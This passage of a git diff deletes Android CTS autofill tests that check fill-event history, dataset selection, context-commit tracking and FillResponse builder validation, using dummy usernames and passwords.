-        mActivity.onPassword((v) -> v.setText("malkovich"));
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-        sReplier.getNextSaveRequest();
-
-        // Assert it
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForSaveShown(events.get(0), NULL_DATASET_ID);
-    }
-
-
-    @Test
-    public void testContextCommitted_idlessDatasets() throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username1")
-                        .setField(ID_PASSWORD, "password1")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username2")
-                        .setField(ID_PASSWORD, "password2")
-                        .setPresentation(createPresentation("dataset2"))
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        mActivity.expectAutoFill("username1", "password1");
-
-        // Trigger autofill on username
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        final UiObject2 datasetPicker = mUiBot.assertDatasets("dataset1", "dataset2");
-        mUiBot.selectDataset(datasetPicker, "dataset1");
-        mActivity.assertAutoFilled();
-
-        // Verify dataset selection
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
-        }
-
-        // Finish the context by login in
-        mActivity.onUsername((v) -> v.setText("USERNAME"));
-        mActivity.onPassword((v) -> v.setText("USERNAME"));
-
-        final String expectedMessage = getWelcomeMessage("USERNAME");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // ...and check again
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
-            assertFillEventForDatasetShown(events.get(2));
-        }
-    }
-
-    @Test
-    public void testContextCommitted_idlessDatasetSelected_datasetWithIdIgnored()
-            throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username1")
-                        .setField(ID_PASSWORD, "password1")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setId("id2")
-                        .setField(ID_USERNAME, "username2")
-                        .setField(ID_PASSWORD, "password2")
-                        .setPresentation(createPresentation("dataset2"))
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        mActivity.expectAutoFill("username1", "password1");
-
-        // Trigger autofill on username
-        mActivity.onUsername(View::requestFocus);
-        final FillRequest request = sReplier.getNextFillRequest();
-
-        final UiObject2 datasetPicker = mUiBot.assertDatasets("dataset1", "dataset2");
-        mUiBot.selectDataset(datasetPicker, "dataset1");
-        mActivity.assertAutoFilled();
-
-        // Verify dataset selection
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
-        }
-
-        // Finish the context by login in
-        mActivity.onPassword((v) -> v.setText("username1"));
-
-        final String expectedMessage = getWelcomeMessage("username1");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // ...and check again
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
-
-            FillEventHistory.Event event2 = events.get(2);
-            assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
-            assertThat(event2.getDatasetId()).isNull();
-            assertThat(event2.getClientState()).isNull();
-            assertThat(event2.getSelectedDatasetIds()).isEmpty();
-            assertThat(event2.getIgnoredDatasetIds()).containsExactly("id2");
-            final AutofillId passwordId = findAutofillIdByResourceId(request.contexts.get(0),
-                    ID_PASSWORD);
-            final Map<AutofillId, String> changedFields = event2.getChangedFields();
-            assertThat(changedFields).containsExactly(passwordId, "id2");
-            assertThat(event2.getManuallyEnteredField()).isEmpty();
-        }
-    }
-
-    @Test
-    public void testContextCommitted_idlessDatasetIgnored_datasetWithIdSelected()
-            throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username1")
-                        .setField(ID_PASSWORD, "password1")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setId("id2")
-                        .setField(ID_USERNAME, "username2")
-                        .setField(ID_PASSWORD, "password2")
-                        .setPresentation(createPresentation("dataset2"))
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        mActivity.expectAutoFill("username2", "password2");
-
-        // Trigger autofill on username
-        mActivity.onUsername(View::requestFocus);
-        final FillRequest request = sReplier.getNextFillRequest();
-
-        final UiObject2 datasetPicker = mUiBot.assertDatasets("dataset1", "dataset2");
-        mUiBot.selectDataset(datasetPicker, "dataset2");
-        mActivity.assertAutoFilled();
-
-        // Verify dataset selection
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id2");
-        }
-
-        // Finish the context by login in
-        mActivity.onPassword((v) -> v.setText("username2"));
-
-        final String expectedMessage = getWelcomeMessage("username2");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // ...and check again
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id2");
-
-            final FillEventHistory.Event event2 = events.get(2);
-            assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
-            assertThat(event2.getDatasetId()).isNull();
-            assertThat(event2.getClientState()).isNull();
-            assertThat(event2.getSelectedDatasetIds()).containsExactly("id2");
-            assertThat(event2.getIgnoredDatasetIds()).isEmpty();
-            final AutofillId passwordId = findAutofillIdByResourceId(request.contexts.get(0),
-                    ID_PASSWORD);
-            final Map<AutofillId, String> changedFields = event2.getChangedFields();
-            assertThat(changedFields).containsExactly(passwordId, "id2");
-            assertThat(event2.getManuallyEnteredField()).isEmpty();
-        }
-    }
-
-    /**
-     * Tests scenario where the context was committed, no dataset was selected by the user,
-     * neither the user entered values that were present in these datasets.
-     */
-    @Test
-    public void testContextCommitted_noDatasetSelected_valuesNotManuallyEntered() throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setId("id1")
-                        .setField(ID_USERNAME, "username1")
-                        .setField(ID_PASSWORD, "password1")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setId("id2")
-                        .setField(ID_USERNAME, "username2")
-                        .setField(ID_PASSWORD, "password2")
-                        .setPresentation(createPresentation("dataset2"))
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        // Trigger autofill on username
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("dataset1", "dataset2");
-
-        // Verify history
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-            assertFillEventForDatasetShown(events.get(0));
-        }
-        // Enter values not present at the datasets
-        mActivity.onUsername((v) -> v.setText("USERNAME"));
-        mActivity.onPassword((v) -> v.setText("USERNAME"));
-
-        // Finish the context by login in
-        final String expectedMessage = getWelcomeMessage("USERNAME");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // Verify history again
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            final Event event = events.get(1);
-            assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
-            assertThat(event.getDatasetId()).isNull();
-            assertThat(event.getClientState()).isNull();
-            assertThat(event.getIgnoredDatasetIds()).containsExactly("id1", "id2");
-            assertThat(event.getChangedFields()).isEmpty();
-            assertThat(event.getManuallyEnteredField()).isEmpty();
-        }
-    }
-
-    /**
-     * Tests scenario where the context was committed, just one dataset was selected by the user,
-     * and the user changed the values provided by the service.
-     */
-    @Test
-    public void testContextCommitted_oneDatasetSelected() throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setId("id1")
-                        .setField(ID_USERNAME, "username1")
-                        .setField(ID_PASSWORD, "password1")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setId("id2")
-                        .setField(ID_USERNAME, "username2")
-                        .setField(ID_PASSWORD, "password2")
-                        .setPresentation(createPresentation("dataset2"))
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        mActivity.expectAutoFill("username1", "password1");
-
-        // Trigger autofill on username
-        mActivity.onUsername(View::requestFocus);
-        final FillRequest request = sReplier.getNextFillRequest();
-
-        final UiObject2 datasetPicker = mUiBot.assertDatasets("dataset1", "dataset2");
-        mUiBot.selectDataset(datasetPicker, "dataset1");
-        mActivity.assertAutoFilled();
-
-        // Verify dataset selection
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-        }
-
-        // Finish the context by login in
-        mActivity.onUsername((v) -> v.setText("USERNAME"));
-        mActivity.onPassword((v) -> v.setText("USERNAME"));
-
-        final String expectedMessage = getWelcomeMessage("USERNAME");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // ...and check again
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-
-            assertFillEventForDatasetShown(events.get(2));
-            final FillEventHistory.Event event2 = events.get(3);
-            assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
-            assertThat(event2.getDatasetId()).isNull();
-            assertThat(event2.getClientState()).isNull();
-            assertThat(event2.getSelectedDatasetIds()).containsExactly("id1");
-            assertThat(event2.getIgnoredDatasetIds()).containsExactly("id2");
-            final Map<AutofillId, String> changedFields = event2.getChangedFields();
-            final FillContext context = request.contexts.get(0);
-            final AutofillId usernameId = findAutofillIdByResourceId(context, ID_USERNAME);
-            final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-
-            assertThat(changedFields).containsExactlyEntriesIn(
-                    ImmutableMap.of(usernameId, "id1", passwordId, "id1"));
-            assertThat(event2.getManuallyEnteredField()).isEmpty();
-        }
-    }
-
-    /**
-     * Tests scenario where the context was committed, both datasets were selected by the user,
-     * and the user changed the values provided by the service.
-     */
-    @Test
-    public void testContextCommitted_multipleDatasetsSelected() throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setId("id1")
-                        .setField(ID_USERNAME, "username")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setId("id2")
-                        .setField(ID_PASSWORD, "password")
-                        .setPresentation(createPresentation("dataset2"))
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        mActivity.expectAutoFill("username");
-
-        // Trigger autofill
-        mActivity.onUsername(View::requestFocus);
-        final FillRequest request = sReplier.getNextFillRequest();
-
-        // Autofill username
-        mUiBot.selectDataset("dataset1");
-        mActivity.assertAutoFilled();
-        {
-            // Verify fill history
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-        }
-
-        // Autofill password
-        mActivity.expectPasswordAutoFill("password");
-
-        mActivity.onPassword(View::requestFocus);
-        mUiBot.selectDataset("dataset2");
-        mActivity.assertAutoFilled();
-
-        {
-            // Verify fill history
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
-
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-            assertFillEventForDatasetShown(events.get(2));
-            assertFillEventForDatasetSelected(events.get(3), "id2");
-        }
-
-        // Finish the context by login in
-        mActivity.onPassword((v) -> v.setText("username"));
-
-        final String expectedMessage = getWelcomeMessage("username");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        {
-            // Verify fill history
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(6);
-
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-            assertFillEventForDatasetShown(events.get(2));
-            assertFillEventForDatasetSelected(events.get(3), "id2");
-
-            assertFillEventForDatasetShown(events.get(4));
-            final FillEventHistory.Event event3 = events.get(5);
-            assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
-            assertThat(event3.getDatasetId()).isNull();
-            assertThat(event3.getClientState()).isNull();
-            assertThat(event3.getSelectedDatasetIds()).containsExactly("id1", "id2");
-            assertThat(event3.getIgnoredDatasetIds()).isEmpty();
-            final Map<AutofillId, String> changedFields = event3.getChangedFields();
-            final AutofillId passwordId = findAutofillIdByResourceId(request.contexts.get(0),
-                    ID_PASSWORD);
-            assertThat(changedFields).containsExactly(passwordId, "id2");
-            assertThat(event3.getManuallyEnteredField()).isEmpty();
-        }
-    }
-
-    /**
-     * Tests scenario where the context was committed, both datasets were selected by the user,
-     * and the user didn't change the values provided by the service.
-     */
-    @Test
-    public void testContextCommitted_multipleDatasetsSelected_butNotChanged() throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setId("id1")
-                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setId("id2")
-                        .setField(ID_PASSWORD, "whatever")
-                        .setPresentation(createPresentation("dataset2"))
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        mActivity.expectAutoFill(BACKDOOR_USERNAME);
-
-        // Trigger autofill
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        // Autofill username
-        mUiBot.selectDataset("dataset1");
-        mActivity.assertAutoFilled();
-        {
-            // Verify fill history
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-        }
-
-        // Autofill password
-        mActivity.expectPasswordAutoFill("whatever");
-
-        mActivity.onPassword(View::requestFocus);
-        mUiBot.selectDataset("dataset2");
-        mActivity.assertAutoFilled();
-
-        {
-            // Verify fill history
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
-
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-            assertFillEventForDatasetShown(events.get(2));
-            assertFillEventForDatasetSelected(events.get(3), "id2");
-        }
-
-        // Finish the context by login in
-        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        {
-            // Verify fill history
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(5);
-
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-            assertFillEventForDatasetShown(events.get(2));
-            assertFillEventForDatasetSelected(events.get(3), "id2");
-
-            final FillEventHistory.Event event3 = events.get(4);
-            assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
-            assertThat(event3.getDatasetId()).isNull();
-            assertThat(event3.getClientState()).isNull();
-            assertThat(event3.getSelectedDatasetIds()).containsExactly("id1", "id2");
-            assertThat(event3.getIgnoredDatasetIds()).isEmpty();
-            assertThat(event3.getChangedFields()).isEmpty();
-            assertThat(event3.getManuallyEnteredField()).isEmpty();
-        }
-    }
-
-    /**
-     * Tests scenario where the context was committed, the user selected the dataset, than changed
-     * the autofilled values, but then change the values again so they match what was provided by
-     * the service.
-     */
-    @Test
-    public void testContextCommitted_oneDatasetSelected_Changed_thenChangedBack()
-            throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setId("id1")
-                        .setField(ID_USERNAME, "username")
-                        .setField(ID_PASSWORD, "username")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        mActivity.expectAutoFill("username", "username");
-
-        // Trigger autofill on username
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        mUiBot.selectDataset("dataset1");
-        mActivity.assertAutoFilled();
-
-        // Verify dataset selection
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-        }
-
-        // Change the fields to different values from0 datasets
-        mActivity.onUsername((v) -> v.setText("USERNAME"));
-        mActivity.onPassword((v) -> v.setText("USERNAME"));
-
-        // Then change back to dataset values
-        mActivity.onUsername((v) -> v.setText("username"));
-        mActivity.onPassword((v) -> v.setText("username"));
-
-        final String expectedMessage = getWelcomeMessage("username");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // ...and check again
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-            assertFillEventForDatasetShown(events.get(2));
-
-            FillEventHistory.Event event4 = events.get(3);
-            assertThat(event4.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
-            assertThat(event4.getDatasetId()).isNull();
-            assertThat(event4.getClientState()).isNull();
-            assertThat(event4.getSelectedDatasetIds()).containsExactly("id1");
-            assertThat(event4.getIgnoredDatasetIds()).isEmpty();
-            assertThat(event4.getChangedFields()).isEmpty();
-            assertThat(event4.getManuallyEnteredField()).isEmpty();
-        }
-    }
-
-    /**
-     * Tests scenario where the context was committed, the user did not selected any dataset, but
-     * the user manually entered values that match what was provided by the service.
-     */
-    @Test
-    public void testContextCommitted_noDatasetSelected_butManuallyEntered()
-            throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setId("id1")
-                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
-                        .setField(ID_PASSWORD, "NotUsedPassword")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setId("id2")
-                        .setField(ID_USERNAME, "NotUserUsername")
-                        .setField(ID_PASSWORD, "whatever")
-                        .setPresentation(createPresentation("dataset2"))
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        // Trigger autofill on username
-        mActivity.onUsername(View::requestFocus);
-        final FillRequest request = sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("dataset1", "dataset2");
-
-        // Verify history
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-            assertFillEventForDatasetShown(events.get(0));
-        }
-
-        // Enter values present at the datasets
-        mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
-        mActivity.onPassword((v) -> v.setText("whatever"));
-
-        // Finish the context by login in
-        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // Verify history
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            FillEventHistory.Event event = events.get(1);
-            assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
-            assertThat(event.getDatasetId()).isNull();
-            assertThat(event.getClientState()).isNull();
-            assertThat(event.getSelectedDatasetIds()).isEmpty();
-            assertThat(event.getIgnoredDatasetIds()).containsExactly("id1", "id2");
-            assertThat(event.getChangedFields()).isEmpty();
-            final FillContext context = request.contexts.get(0);
-            final AutofillId usernameId = findAutofillIdByResourceId(context, ID_USERNAME);
-            final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-
-            final Map<AutofillId, Set<String>> manuallyEnteredFields =
-                    event.getManuallyEnteredField();
-            assertThat(manuallyEnteredFields).isNotNull();
-            assertThat(manuallyEnteredFields.size()).isEqualTo(2);
-            assertThat(manuallyEnteredFields.get(usernameId)).containsExactly("id1");
-            assertThat(manuallyEnteredFields.get(passwordId)).containsExactly("id2");
-        }
-    }
-
-    /**
-     * Tests scenario where the context was committed, the user did not selected any dataset, but
-     * the user manually entered values that match what was provided by the service on different
-     * datasets.
-     */
-    @Test
-    public void testContextCommitted_noDatasetSelected_butManuallyEntered_matchingMultipleDatasets()
-            throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setId("id1")
-                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
-                        .setField(ID_PASSWORD, "NotUsedPassword")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setId("id2")
-                        .setField(ID_USERNAME, "NotUserUsername")
-                        .setField(ID_PASSWORD, "whatever")
-                        .setPresentation(createPresentation("dataset2"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setId("id3")
-                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
-                        .setField(ID_PASSWORD, "whatever")
-                        .setPresentation(createPresentation("dataset3"))
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        // Trigger autofill on username
-        mActivity.onUsername(View::requestFocus);
-        final FillRequest request = sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("dataset1", "dataset2", "dataset3");
-
-        // Verify history
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-            assertFillEventForDatasetShown(events.get(0));
-        }
-
-        // Enter values present at the datasets
-        mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
-        mActivity.onPassword((v) -> v.setText("whatever"));
-
-        // Finish the context by login in
-        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // Verify history
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-
-            final FillEventHistory.Event event = events.get(1);
-            assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
-            assertThat(event.getDatasetId()).isNull();
-            assertThat(event.getClientState()).isNull();
-            assertThat(event.getSelectedDatasetIds()).isEmpty();
-            assertThat(event.getIgnoredDatasetIds()).containsExactly("id1", "id2", "id3");
-            assertThat(event.getChangedFields()).isEmpty();
-            final FillContext context = request.contexts.get(0);
-            final AutofillId usernameId = findAutofillIdByResourceId(context, ID_USERNAME);
-            final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-
-            final Map<AutofillId, Set<String>> manuallyEnteredFields =
-                    event.getManuallyEnteredField();
-            assertThat(manuallyEnteredFields.size()).isEqualTo(2);
-            assertThat(manuallyEnteredFields.get(usernameId)).containsExactly("id1", "id3");
-            assertThat(manuallyEnteredFields.get(passwordId)).containsExactly("id2", "id3");
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java b/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
deleted file mode 100644
index 407fa30..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
+++ /dev/null
@@ -1,264 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.service.autofill.FillResponse.FLAG_DISABLE_ACTIVITY_ONLY;
-import static android.service.autofill.FillResponse.FLAG_TRACK_CONTEXT_COMMITED;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import android.content.IntentSender;
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.Dataset;
-import android.service.autofill.FillResponse;
-import android.service.autofill.SaveInfo;
-import android.service.autofill.UserData;
-import android.view.autofill.AutofillId;
-import android.view.autofill.AutofillValue;
-import android.widget.RemoteViews;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.mockito.Mock;
-import org.mockito.junit.MockitoJUnitRunner;
-
-@RunWith(MockitoJUnitRunner.class)
-@AppModeFull(reason = "Unit test")
-public class FillResponseTest {
-
-    private final AutofillId mAutofillId = new AutofillId(42);
-    private final FillResponse.Builder mBuilder = new FillResponse.Builder();
-    private final AutofillId[] mIds = new AutofillId[] { mAutofillId };
-    private final SaveInfo mSaveInfo = new SaveInfo.Builder(0, mIds).build();
-    private final Bundle mClientState = new Bundle();
-    private final Dataset mDataset = new Dataset.Builder()
-            .setValue(mAutofillId, AutofillValue.forText("forty-two"))
-            .build();
-    private final long mDisableDuration = 666;
-    @Mock private RemoteViews mPresentation;
-    @Mock private RemoteViews mHeader;
-    @Mock private RemoteViews mFooter;
-    @Mock private IntentSender mIntentSender;
-    private final UserData mUserData = new UserData.Builder("id", "value", "cat").build();
-
-    @Test
-    public void testBuilder_setAuthentication_invalid() {
-        // null ids
-        assertThrows(IllegalArgumentException.class,
-                () -> mBuilder.setAuthentication(null, mIntentSender, mPresentation));
-        // empty ids
-        assertThrows(IllegalArgumentException.class,
-                () -> mBuilder.setAuthentication(new AutofillId[] {}, mIntentSender,
-                        mPresentation));
-        // ids with null value
-        assertThrows(IllegalArgumentException.class,
-                () -> mBuilder.setAuthentication(new AutofillId[] {null}, mIntentSender,
-                        mPresentation));
-        // null intent sender
-        assertThrows(IllegalArgumentException.class,
-                () -> mBuilder.setAuthentication(mIds, null, mPresentation));
-        // null presentation
-        assertThrows(IllegalArgumentException.class,
-                () -> mBuilder.setAuthentication(mIds, mIntentSender, null));
-    }
-
-    @Test
-    public void testBuilder_setAuthentication_valid() {
-        new FillResponse.Builder().setAuthentication(mIds, null, null);
-        new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
-    }
-
-    @Test
-    public void testBuilder_setAuthentication_illegalState() {
-        assertThrows(IllegalStateException.class,
-                () -> new FillResponse.Builder().setHeader(mHeader).setAuthentication(mIds,
-                        mIntentSender, mPresentation));
-        assertThrows(IllegalStateException.class,
-                () -> new FillResponse.Builder().setFooter(mFooter).setAuthentication(mIds,
-                        mIntentSender, mPresentation));
-    }
-
-    @Test
-    public void testBuilder_setHeaderOrFooterInvalid() {
-        assertThrows(NullPointerException.class, () -> new FillResponse.Builder().setHeader(null));
-        assertThrows(NullPointerException.class, () -> new FillResponse.Builder().setFooter(null));
-    }
-
-    @Test
-    public void testBuilder_setHeaderOrFooterAfterAuthentication() {
-        FillResponse.Builder builder =
-                new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
